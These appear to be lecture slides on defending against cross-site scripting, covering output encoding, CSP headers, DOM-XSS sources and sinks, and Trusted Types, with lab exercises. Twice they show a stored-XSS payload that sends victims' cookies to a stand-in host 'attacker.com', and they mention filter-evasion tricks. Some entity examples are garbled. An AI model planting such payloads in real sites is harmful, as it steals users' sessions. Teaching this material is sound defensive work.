

Today

- XSS defenses
 - htmlentities, htmlspecialchars
 - CSP
 - OWASP cheetsheets
 - (Trusted types)



What is XSS?

- XSS is present when an attacker can inject scripting code into pages generated by a web application.
- Methods for injecting malicious code:
 - Reflected or Non-Persistent XSS ("type 1")
 - the attack script is reflected back to the user as part of a page from the victim site
 - Stored or Persistent XSS ("type 2")
 - the attacker stores the malicious code in a resource managed by the web application, such as a database
 - DOM-XSS attacks



Example 2: XSS Vulnerable code





Stored XSS attack on example 2

Attacker leaves a message like this:

<script>window.location = "http://attacker.com?cookie=" +
 document.cookie; </script>

The message is stored in the guestbook database and displayed (executed!) for every new client of the guestbook.

Consequence:

- Many victims' cookies stolen by attacker.com;
- Possible sensitive private information;



Input data validation and filtering

- Never trust client-side data
 - Best: allow only what you expect
- Remove/encode special characters
 - Many encodings, special chars!

Output filtering / encoding

- Remove / encode (X)HTML special chars
 - &It; for <, > for >, " for " ...
- Allow only safe commands (e.g., no <script>...)
- Caution: `filter evasion` tricks
 - See XSS Cheat Sheet for filter evasion
 - E.g., if filter allows quoting (of <script> etc.), usemalformed quoting: <SCRIPT>alert("XSS")...
 - Or: (long) UTF-8 encode, or...
- Caution: Scripts not only in <script>!
- Difference between htmlentities, htmlspecialchars : see php file



Common encoding functions

PHP: htmlspecialchars(string)

```
& \rightarrow & " \rightarrow " ' \rightarrow ' < \rightarrow &It; > \rightarrow >
```

htmlspecialchars("Test", ENT_QUOTES); Outputs: &It;a href='test'>Test&It;/a>



Defenses - Prevention

Input/Output sanitization

httpOnly cookies

Content Security Policy HTML5 (CSP)

Isolation of JavaScript code

Trusted Types for DOM-XSS



Content Security Policy (CSP)

- Whitelists "safe"scripts hosts
- Content-Security-Policy HTTP header



CSP Example

Content-Security-Policy: script-src 'self' trusted.com

HTTP

```
<script src="trusted.com/jquery.js"></script>
```

- <script src="/js/myscript.js"></script>
- <script src="attacker.com/sc.js"></script>

HTML

Refused to load the script 'attacker.com/sc.js' because it violates the following Content Security Policy directive: "script src 'self' trusted.com".

CONSOLE



CSP Example inlined script

Content-Security-Policy: script-src 'self' trusted.com

HTTP

<HTML>..

<script> alert('this is inlined code')

</HTML>

HTML

Refused to load inlined script because it violates the following Content Security Policy directive: "script src 'self' trusted.com".

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Inline event handlers are inline scripts

```
<button onclick= "..."> Buy </button>
```

should be written for example as:

```
<button class = "buy"> Buy </button>
$('button.buy').bind("click", function(){ ... } ); JQUERY
```

```
<button id = "buy"> Buy </button>
document.getElementById("buy").addEventListener
("click", function(){},false);
```



Directives in CSP

default-src script-src style-src img-src frame-src



Source Values

*

'none'

'self'

'unsafe-inline'

'unsafe-eval'



Recall XSS Vulnerable code


Adding HTTP header:

Content-Security-Policy: script-src 'self' trusted.com

Server-side implementation of search.php:



Recall XSS Vulnerable app





Stored XSS attack on example 2

Attacker leaves a message like this:

<script>window.location = "http://attacker.com?cookie=" +
 document.cookie; </script>

Content-Security-Policy: script-src 'self' trusted.com

what's the consequence of this attack?

DOM-XSS

Flow between source and sink all on the client side (server does not see the attack)

sources include: document.URL, document.referrer, location.search, location.hash

sinks include: eval, setTimeout, setInterval, element.innerHTML

See Example (domxss4/5/6.html)



API to defend against DOM-XSS:

Trusted Types, first w3 draft September 2022 https://www.w3.org/TR/2022/WD-trusted-types-20220927/

- 1) Perform a store XSS attack to guestbook.php. Defend this with a CSP header.
- 2) xssme.php perform all the attacks and generate protectedxssme.php to defend.
- Do htmlentities or htmlspecialchars work in every context of xssme.php? If not, explain and correct.
- 3) Write code to defend and attack for each of the contexts described for XSS and DOM-XSS in the OWASP cheatsheets
- 4) Investigate how to use Trusted types for DOM-XSS and the new attack https://portswigger.net/daily-swig/untrusted-types-researcher-demos-trick-to-beat-trusted-types-protection-ingoogle-chrome
- 5) CTFs